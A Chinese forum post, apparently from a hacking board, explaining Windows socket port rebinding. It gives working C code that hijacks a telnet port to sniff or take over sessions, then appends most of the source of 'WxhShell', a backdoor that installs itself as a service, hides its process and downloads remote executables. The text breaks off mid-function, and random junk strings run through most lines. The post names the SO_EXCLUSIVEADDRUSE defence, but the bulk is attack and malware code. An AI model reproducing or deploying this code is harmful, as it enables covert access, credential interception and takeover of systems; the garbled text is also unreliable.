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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2dXU0095  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;0;3BH A  
anK[P'Y  
  saddr.sin_family = AF_INET; (~=Qufy  
C5>{Q:.`e'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5woIGO3X  
D}mo\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +Y^-e.UO  
4Y`! bT`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /z/hUa  
y=-{Q  
  这意味着什么?意味着可以进行如下的攻击: 4\&H?:c.  
V/`#B$6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cC b>zI  
W8Ke1( ws&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uG2Xkj  
B1x'5S;Bq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2~#ZO?jE6  
/uC+.B9k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2ZU@>W  
dK:l&R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <dq,y>  
!8wZw68"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1f+*Tmc5]Q  
"B3iX@C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eA~J4k_  
K{, W_ ^  
  #include ^fA3<|  
  #include JOA%Y;`<#  
  #include :X3rd|;kc  
  #include    H%*~l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^ze@#Cp  
  int main() j'G"ZPw1  
  { {fAh@:{@  
  WORD wVersionRequested; (jp1; #P!  
  DWORD ret; xnl<<}4pJ  
  WSADATA wsaData; {;]uL`abi?  
  BOOL val; :`{9x%o;  
  SOCKADDR_IN saddr; &i4 (s%z#  
  SOCKADDR_IN scaddr;  rE/}hHU  
  int err; =@bXGMsV!  
  SOCKET s; Q{%HW4lg  
  SOCKET sc; Q.j-C}a  
  int caddsize; DH}s1mNMP  
  HANDLE mt; uU8*$+ "  
  DWORD tid;   PFImqojHd  
  wVersionRequested = MAKEWORD( 2, 2 ); &@mvw=d  
  err = WSAStartup( wVersionRequested, &wsaData ); ZrmnQ  
  if ( err != 0 ) { {%]NpFg#b  
  printf("error!WSAStartup failed!\n"); {. s]\C  
  return -1; K?z*3^^X;  
  } u+%)JhIp  
  saddr.sin_family = AF_INET; B ]|5?QP-  
   ;y:#S^|?-z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d/0/$Bz}P  
/.pa ??u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b|X>3(  
  saddr.sin_port = htons(23); y}(_SU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X;K8,A7`  
  { e1f^:C  
  printf("error!socket failed!\n"); uKLOh<oio  
  return -1; h#(.(d  
  } :d!i[W*  
  val = TRUE; tEi@p;Z>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sW>P-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?TL2'U|M  
  { }0k"Sw X  
  printf("error!setsockopt failed!\n"); Pur"9jHa4  
  return -1; Hl%+F 0^?  
  } -L^0-g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mft0D j/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9`nP(~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,gFL Wb`B'  
HB/ _O22  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &%_y6}xIw  
  { "Qiq/"h  
  ret=GetLastError(); #C;#$|d  
  printf("error!bind failed!\n"); 2:smt)f  
  return -1; pl1EJ <  
  } Z'*G'/*  
  listen(s,2); M]8eW  
  while(1) |Fh`.iT%c  
  { (P]^8qc  
  caddsize = sizeof(scaddr); -9tXv+v?  
  //接受连接请求 4YU1Kr4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @O  @|M'  
  if(sc!=INVALID_SOCKET) j`LT`p"9S  
  { D{&+7C:8.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L!G9O]WB  
  if(mt==NULL) ^>P@5gcoE(  
  { 3rXL0&3w%  
  printf("Thread Creat Failed!\n"); 0{{p.n8a~  
  break; <.y^  
  } O"2wV +9  
  } .R<s<]  
  CloseHandle(mt); erAZG)  
  } @=aq&gb  
  closesocket(s); (rY1O:*S  
  WSACleanup(); Oy?iAQ+  
  return 0; LyCV_6;D  
  }   {ra Esb-X  
  DWORD WINAPI ClientThread(LPVOID lpParam) [nhLhl4S  
  { O*+w_fox  
  SOCKET ss = (SOCKET)lpParam; ?(`nBlWQ5  
  SOCKET sc; _If@#WnoyA  
  unsigned char buf[4096]; ]R2Z-2  
  SOCKADDR_IN saddr; n WO~v{h3J  
  long num; cwDD(j  
  DWORD val; eBLHT  
  DWORD ret; <O`q3u'l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '%JMnU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RmCn&-i  
  saddr.sin_family = AF_INET; U4mh!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aaqjE  
  saddr.sin_port = htons(23); *$WiJ3'(m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?tal/uC  
  { iz,q8}/(  
  printf("error!socket failed!\n"); `OF ;>u*:  
  return -1; BZ'y}Zu*  
  } #L+s%OJ`  
  val = 100; o^.s!C%j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,XF6Xsg2  
  { cbg3bi  
  ret = GetLastError(); "_% 0|;  
  return -1; PauFuzPP  
  } c,u$tnE)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {F{[!.  
  { @Ig,_i\UY:  
  ret = GetLastError(); &55uT;7] a  
  return -1; XTn{1[.O  
  } N;Gf,pE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [/2@=Uh-  
  { 0,i+  
  printf("error!socket connect failed!\n"); -7A!2mRiz  
  closesocket(sc); A`r$fCt1Vi  
  closesocket(ss); E%v[7 ST  
  return -1; [wpt[zG  
  } (*^E7 [w  
  while(1) enfu%"(K)  
  { qLktMp_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5xn0U5U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zDQ\PZ~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b^=8%~?%4  
  num = recv(ss,buf,4096,0); kY |=a  
  if(num>0) >5z`SZf  
  send(sc,buf,num,0); g275{2G9  
  else if(num==0) K+aJ`V  
  break; Q*{H]  
  num = recv(sc,buf,4096,0); TJGKQyG$L  
  if(num>0) tX2>a  
  send(ss,buf,num,0); CB7R{~ $  
  else if(num==0) ^ 8Nr %NJ  
  break; k3htHCf*G$  
  } HpgN$$\@  
  closesocket(ss); !C)>  
  closesocket(sc); =<tJAoVV  
  return 0 ; -:1Gr8  
  } w]}cB+C+l#  
JeSkNs|vB  
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========================================================== ?[|4QzR  
MrygEC 5  
下边附上一个代码,,WXhSHELL p44uozbK  
c=c.p i"s  
========================================================== OKNs ( H  
cqU/Y_%l'  
#include "stdafx.h" \=: g$_l  
;U:o'9^9T  
#include <stdio.h> zYl+BM-j,6  
#include <string.h> ]8j5Ou6#y  
#include <windows.h> 1oVDOo  
#include <winsock2.h> &^Q~G>A  
#include <winsvc.h> (fjXp75  
#include <urlmon.h> C @[9 LB  
 9%hB   
#pragma comment (lib, "Ws2_32.lib") -T="Ml &  
#pragma comment (lib, "urlmon.lib") 74!JPOpQH  
uX 5B>32  
#define MAX_USER   100 // 最大客户端连接数 LAjw!QB  
#define BUF_SOCK   200 // sock buffer mjJlXA  
#define KEY_BUFF   255 // 输入 buffer SEn8t"n  
a*ixs'MJ  
#define REBOOT     0   // 重启 T?$?5  
#define SHUTDOWN   1   // 关机 0|3B8m  
a/xCl :=8q  
#define DEF_PORT   5000 // 监听端口 o~z.7q  
'{_tDboY  
#define REG_LEN     16   // 注册表键长度 gQzF C&g  
#define SVC_LEN     80   // NT服务名长度 IaZAP  
:zk.^q  
// 从dll定义API \V7x3*nA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dl!'_u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `1}yB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m`w6wz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m>m`aLrnb  
+GEKg~/4e  
// wxhshell配置信息 :<|fZa4!"  
struct WSCFG { Wh&Z *J  
  int ws_port;         // 监听端口 cN(QTbyl6Q  
  char ws_passstr[REG_LEN]; // 口令 )9P  
  int ws_autoins;       // 安装标记, 1=yes 0=no JSP8Lu"n  
  char ws_regname[REG_LEN]; // 注册表键名 >L3p qK   
  char ws_svcname[REG_LEN]; // 服务名 S6Xw+W02  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S)1:*>@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @n y{.s+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +hYmL Sq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '3 ,JL!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -cS4B//IK8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `>HthK  
Wa<NId  
}; lIT2 AFX+  
Ki 6BPi^  
// default Wxhshell configuration yOm6HA``hT  
struct WSCFG wscfg={DEF_PORT, k$m X81  
    "xuhuanlingzhe", [&59n,R`  
    1,  )"Yah  
    "Wxhshell", zL=I-fVq  
    "Wxhshell", +c2>j8e6  
            "WxhShell Service", 5_T>HHR 6  
    "Wrsky Windows CmdShell Service", 2/NWWoKw  
    "Please Input Your Password: ", #rL@  
  1, W8/6  
  "http://www.wrsky.com/wxhshell.exe", Y{B_OoTun  
  "Wxhshell.exe" CHSD 8D  
    }; 'Z%aBCM  
= ft$j  
// 消息定义模块 'r3}=z4Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =|^W]2W$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B3=/iOb#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lY8Qy2k|  
char *msg_ws_ext="\n\rExit.";    r3K:  
char *msg_ws_end="\n\rQuit."; *8HxJ+[,[  
char *msg_ws_boot="\n\rReboot..."; 57%cN-v*  
char *msg_ws_poff="\n\rShutdown..."; ",oUVl  
char *msg_ws_down="\n\rSave to "; =njj.<BO  
x}24?mP  
char *msg_ws_err="\n\rErr!"; um4zLsd#v  
char *msg_ws_ok="\n\rOK!"; h*'5h!  
Q^;\!$:M  
char ExeFile[MAX_PATH]; .Zm }  
int nUser = 0; aYX'&k `  
HANDLE handles[MAX_USER]; ?-p aM5Q+  
int OsIsNt; "K=)J'/n  
eJdQ7g[>  
SERVICE_STATUS       serviceStatus; X'p%$HsMG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [aUT #  
T7X2$ '  
// 函数声明 $G.|5sEk  
int Install(void); U9%nku4  
int Uninstall(void); /R?uxhV  
int DownloadFile(char *sURL, SOCKET wsh); :H k4i%hGk  
int Boot(int flag); *m/u3.\  
void HideProc(void); PhdL@Mr  
int GetOsVer(void); BAed [  
int Wxhshell(SOCKET wsl); `{[C4]Ew/  
void TalkWithClient(void *cs); ^W*)3;5  
int CmdShell(SOCKET sock); 5.;$9~d  
int StartFromService(void); ]zAg6*-/B  
int StartWxhshell(LPSTR lpCmdLine); JG$J,!.\  
vIv3rN=5vB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rI$10R$+H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /v<8x?=  
T 0C'$1T  
// 数据结构和表定义 ,o6:  V]a  
SERVICE_TABLE_ENTRY DispatchTable[] = 7hE=+V8  
{ k}7)pJNj  
{wscfg.ws_svcname, NTServiceMain}, LB0=V0|  
{NULL, NULL} 2)]*re)  
}; [^P2Kn  
iIRigW  
// 自我安装 !7|9r$  
int Install(void) BE;iC.rW  
{ ou4?`JF)-  
  char svExeFile[MAX_PATH]; 1@Gv`{v  
  HKEY key; x/v+7Pt_  
  strcpy(svExeFile,ExeFile); =l{KYv  
8`<GplO  
// 如果是win9x系统,修改注册表设为自启动 :RG6gvz  
if(!OsIsNt) { $9$NX/P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gW%(_H mX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a2n#T,kq&  
  RegCloseKey(key); 6ng9 o6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X:bgY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  yFv3>\  
  RegCloseKey(key); Tl-B[CT  
  return 0; cVi CWc2  
    } ;pYk+r6Cr  
  } qN(; l&Q  
} pm|]GkM  
else { 3j#F'M)s{  
*2hzReM  
// 如果是NT以上系统,安装为系统服务 Cl=ExpX/O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~Y[b QuA=)  
if (schSCManager!=0) }x-8@9S~z  
{ L@uKE jR  
  SC_HANDLE schService = CreateService xEqrs6sR  
  ( 3iwZUqyq  
  schSCManager, 7?@v}%w  
  wscfg.ws_svcname, )HcC\[  
  wscfg.ws_svcdisp, b9jm= U  
  SERVICE_ALL_ACCESS, wVX0!y6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^|z>NV5>  
  SERVICE_AUTO_START, Ac%K+Pgk.  
  SERVICE_ERROR_NORMAL, ~KvCb3~X  
  svExeFile, $'wl{D"  
  NULL, 7 |A,GH  
  NULL, y+<HS]vyV  
  NULL, n_Dhq(.  
  NULL, ;anG F0x  
  NULL |M&/( 0  
  ); [sRQd;+  
  if (schService!=0) 6IH^rSUSK  
  { ':@qE\(  
  CloseServiceHandle(schService); UNae&Zir  
  CloseServiceHandle(schSCManager); 2sH5<5G'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .`9KB3  
  strcat(svExeFile,wscfg.ws_svcname); Mf"B!WU>]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { stScz#!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n9yxZu   
  RegCloseKey(key); ; o=mL_[  
  return 0; Qw+">  
    } J.(_c ' r  
  } 4)z](e$  
  CloseServiceHandle(schSCManager); Q2uE_w`B  
} V2X(f6v  
} -fv.ByyA  
J %t1T]y~  
return 1; sa($3`d  
} hJM0A3(Cm  
N4 pA3~P  
// 自我卸载 a;sZNUSn  
int Uninstall(void) ?u|g2!{_  
{ H'.d'OE:I  
  HKEY key; -mF9Skj  
!ywc).]e  
if(!OsIsNt) { #SmWF|/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |SmN.*&(9  
  RegDeleteValue(key,wscfg.ws_regname); U;/ )V  
  RegCloseKey(key); @AFLFX]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J^T66}r[f,  
  RegDeleteValue(key,wscfg.ws_regname); *W  l{2&  
  RegCloseKey(key); Pa*yo:U'h  
  return 0; `y(3:##p  
  } n1|%xQBU@  
} h kY E7  
} Fu$otMw%l  
else { A [JV*Dt  
RPu-E9g@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `:&{/|uP7  
if (schSCManager!=0) YH9BJ  
{ KK}&4^q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (46)v'?  
  if (schService!=0) bPEAG=l"-  
  { Fei$94 a  
  if(DeleteService(schService)!=0) { ,>Q,0bVhH0  
  CloseServiceHandle(schService); 5sH ee,  
  CloseServiceHandle(schSCManager); FpEdwzBb<  
  return 0; >4c 1VEi  
  } rBL)ct  
  CloseServiceHandle(schService); _cB~?c  
  } /[p4. FL  
  CloseServiceHandle(schSCManager); E4Sp^,  
} AMr9rBd  
} Fpb1.Iz  
|N*>K a;  
return 1; sYL+;(#t  
} =J,:j[D(  
z'm;H{xf  
// 从指定url下载文件 l6~eb=u;9g  
int DownloadFile(char *sURL, SOCKET wsh) p5*Y&aKj  
{ $FoNEr&q  
  HRESULT hr; 9"rATgN1  
char seps[]= "/"; px*MOHq K  
char *token; l[x wH 9'  
char *file; -;v:. [o.  
char myURL[MAX_PATH]; Ez )Go6Q  
char myFILE[MAX_PATH]; vc<8ApK3V  
t9kgACo/M  
strcpy(myURL,sURL); L\UYt\ks  
  token=strtok(myURL,seps); $I'ES#8P6  
  while(token!=NULL) u=4Rn  
  { V\_ &2',t  
    file=token; /#a$4 }2L  
  token=strtok(NULL,seps); l!b#v`  
  } JkKI/ 5h  
nm)F tX|A  
GetCurrentDirectory(MAX_PATH,myFILE); CAXU #  
strcat(myFILE, "\\"); ("{'],>  
strcat(myFILE, file); ReY K5J=O  
  send(wsh,myFILE,strlen(myFILE),0); +$%o#~  
send(wsh,"...",3,0); 8ViDh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "}n]0 >J  
  if(hr==S_OK) ]k hY8it  
return 0; }*%%GPJ  
else <rU(zm  
return 1; cj[y]2{1h  
#q\C"N5ip  
} *+ 7#z;  
<X: 9y  
// 系统电源模块 o,29C7Ii  
int Boot(int flag) @'S-nn,sO  
{ y,aASy!Q  
  HANDLE hToken; /+rHy7(\  
  TOKEN_PRIVILEGES tkp; .e6:/x~p*  
O_E[F E:+  
  if(OsIsNt) { {AZW."?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); az w8BK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 51~:t[N|  
    tkp.PrivilegeCount = 1; @~"0|,6VC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /as1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P^ a$?  
if(flag==REBOOT) { "G< ^@v9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @=$;^}JS|  
  return 0; O@l`D`  
} YcIk{_N3  
else { kWgxswl7H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nF)|oA   
  return 0; N(D_*% 96  
} +;vfn>^!b  
  } -G{}8GM  
  else { WKN\* N<  
if(flag==REBOOT) { }%%| '8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HH>]"mv  
  return 0; E0GpoG5C  
} (`T:b1  
else { xC|7"N^/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 291v R]  
  return 0; -\>Xtix^-c  
} f7mI\$CN  
} gzeG5p  
8}4V$b`Z  
return 1; ZMbv1*Vt  
} xK /NzVt  
#\fAp RL  
// win9x进程隐藏模块 =YI<L8@g~  
void HideProc(void) Z x3m$.8  
{ R`Q9|yF\  
k5|h8%h8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H$Q_K<V  
  if ( hKernel != NULL ) i: 1V\q%  
  { ;+cZS=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y;uk|#qnPS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p5E|0p  
    FreeLibrary(hKernel); jytfGE:  
  } xCGvLvFn  
st~f}w@  
return; *Z Aue.  
} iYR8sg[' #  
5ZUqCl(PX)  
// 获取操作系统版本 ^,@Rd\q  
int GetOsVer(void) 'xhX\?mD  
{ gFJd8#6t  
  OSVERSIONINFO winfo; ur"cku G!9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yPKeatH]  
  GetVersionEx(&winfo); Xrc0RWXB8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B]#0]-ua  
  return 1; PO1sVP.S  
  else MYDAS-  
  return 0; .(ki(8Z N  
} [{L4~(uU8  
kF`2%g+  
// 客户端句柄模块 a8Nl' f*0  
int Wxhshell(SOCKET wsl) O$<kWSC  
{ Bzw~OB{!=J  
  SOCKET wsh; AKejWh  
  struct sockaddr_in client; ZU5hHah.t  
  DWORD myID; ^F/N-!}q  
5F18/:\n  
  while(nUser<MAX_USER) twq!@C  
{ I5 "Z  
  int nSize=sizeof(client); vg5i+ry<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q",n:=PL  
  if(wsh==INVALID_SOCKET) return 1; Dqs{ n?@n  
TW" TgOfd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fq48>"g*  
if(handles[nUser]==0) l q~^&\_#  
  closesocket(wsh); lQ {k  
else *0^!%Y'/4  
  nUser++; xrs?"]M[  
  } *VG#SK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rt}H.D #  
T@ (MSgp9  
  return 0; j'R{llZW  
} 8M <q-sn4B  
)"`(+Ku&c  
// 关闭 socket ph qx<N@  
void CloseIt(SOCKET wsh) wuR Q H]N  
{ /zJDQ'k0  
closesocket(wsh); UzTFT:\  
nUser--; 0K<y }  
ExitThread(0); {OtD+%  
} ?Z 9C}t]  
_bRd2k,  
// 客户端请求句柄 DO` K_B  
void TalkWithClient(void *cs) ^K. d|z  
{ XHKiz2Pc1  
j")#"& m  
  SOCKET wsh=(SOCKET)cs; q~]S5  
  char pwd[SVC_LEN]; ux`)jOQ`Y]  
  char cmd[KEY_BUFF]; <&^P1x<x  
char chr[1]; _4Z|O]  
int i,j; jM]B\cvN  
h8B:}_Cu  
  while (nUser < MAX_USER) { 33IJbg  
-}#=L@  
if(wscfg.ws_passstr) { Jh`Pq,B:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Rc mjI7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5tfD*j n  
  //ZeroMemory(pwd,KEY_BUFF); zW.I7Z0^  
      i=0; 5-qk"@E W  
  while(i<SVC_LEN) { {BPNb{dBKr  
69/aP=  
  // 设置超时 m.!n|_}]  
  fd_set FdRead; Bp&7:snGt  
  struct timeval TimeOut; r:;nv D  
  FD_ZERO(&FdRead); mW EaUi)Zz  
  FD_SET(wsh,&FdRead); ggn C #$  
  TimeOut.tv_sec=8; [.:SV|AF#  
  TimeOut.tv_usec=0; X?'ShXI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fz>3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d?[gd(O  
0APh=Alq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8[v9|r  
  pwd=chr[0]; {o>51fXc)  
  if(chr[0]==0xd || chr[0]==0xa) { H#/ #yVw  
  pwd=0; Yx#?lA2gx  
  break; ;|yd}q=p  
  } P'}WmE'B}F  
  i++; ''D\E6c\  
    } yBKEw(1  
s|HpN  
  // 如果是非法用户,关闭 socket lB)%s~P:s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +9gI^Gt  
} =bKz$ _W  
XS#Jy n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ??5y0I6+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dfhu  
I'h|7y\  
while(1) { Sjb[v  
v;6O# ta'  
  ZeroMemory(cmd,KEY_BUFF); 9f=L'{  
srL|Y&8p  
      // 自动支持客户端 telnet标准   <[l0zE5Z8'  
  j=0; !m {d6C[  
  while(j<KEY_BUFF) { 1Jm'9iy3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  {^8->V  
  cmd[j]=chr[0]; WR|n>i@m  
  if(chr[0]==0xa || chr[0]==0xd) { bv:M zYS  
  cmd[j]=0; LI~ofCp  
  break; CU`yi.)T{  
  } 3bsuE^,.@  
  j++; W _b!FQ]  
    } %m/W4Nk  
LC>bZ!(i#  
  // 下载文件 e};\"^H H  
  if(strstr(cmd,"http://")) { 'v^Zterr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g$/C-j4A[  
  if(DownloadFile(cmd,wsh)) gI T3A*x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;6)Onwx  
  else 2#jBh   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MA`.&MA.  
  } B+VD53 V  
  else { aw\0\'}  
)swu~Wb}U@  
    switch(cmd[0]) { X;/5Niv32q  
  e0Jz|?d=  
  // 帮助 `*Ju0)g1  
  case '?': { 1Zo"Xb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8pXului  
    break; /LK,:6  
  } 2%Mgg,/~  
  // 安装 $-w&<U$E  
  case 'i': { "7z1V{ ;Y  
    if(Install()) /_(q7:<ZF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e)M)q!nG  
    else O3JBS^;V2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >OxSrc@A  
    break; q?##S'  
    } ;h~v,h  
  // 卸载 EP'I  
  case 'r': { < $>Jsv  
    if(Uninstall()) Bj`ZH~T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F1A7l"X]  
    else q)f-z\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w7E7r?)Wl|  
    break; +tCNJ<S@l$  
    } OD8{ /7  
  // 显示 wxhshell 所在路径 1@Gmzh  
  case 'p': { o"gtWAGH  
    char svExeFile[MAX_PATH]; *Y]()#?Gr  
    strcpy(svExeFile,"\n\r"); .,*68S0k7  
      strcat(svExeFile,ExeFile); UFl+|wf  
        send(wsh,svExeFile,strlen(svExeFile),0); c'}dsq\  
    break; dd-`/A@  
    } !Y,*Zc$R  
  // 重启 &;2@*#,  
  case 'b': { I .> SC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Tg[-tl  
    if(Boot(REBOOT)) ozOvpi:k3%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<>cuW(l  
    else { &_dM2lj{  
    closesocket(wsh); #I9hKS{  
    ExitThread(0); TbQ5  
    } Y;"rJxHD  
    break; MJ_]N+  
    } NpAZuISD!  
  // 关机 X3zpU7`Av+  
  case 'd': { 0`Hr(J`F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T$IwrTF@?  
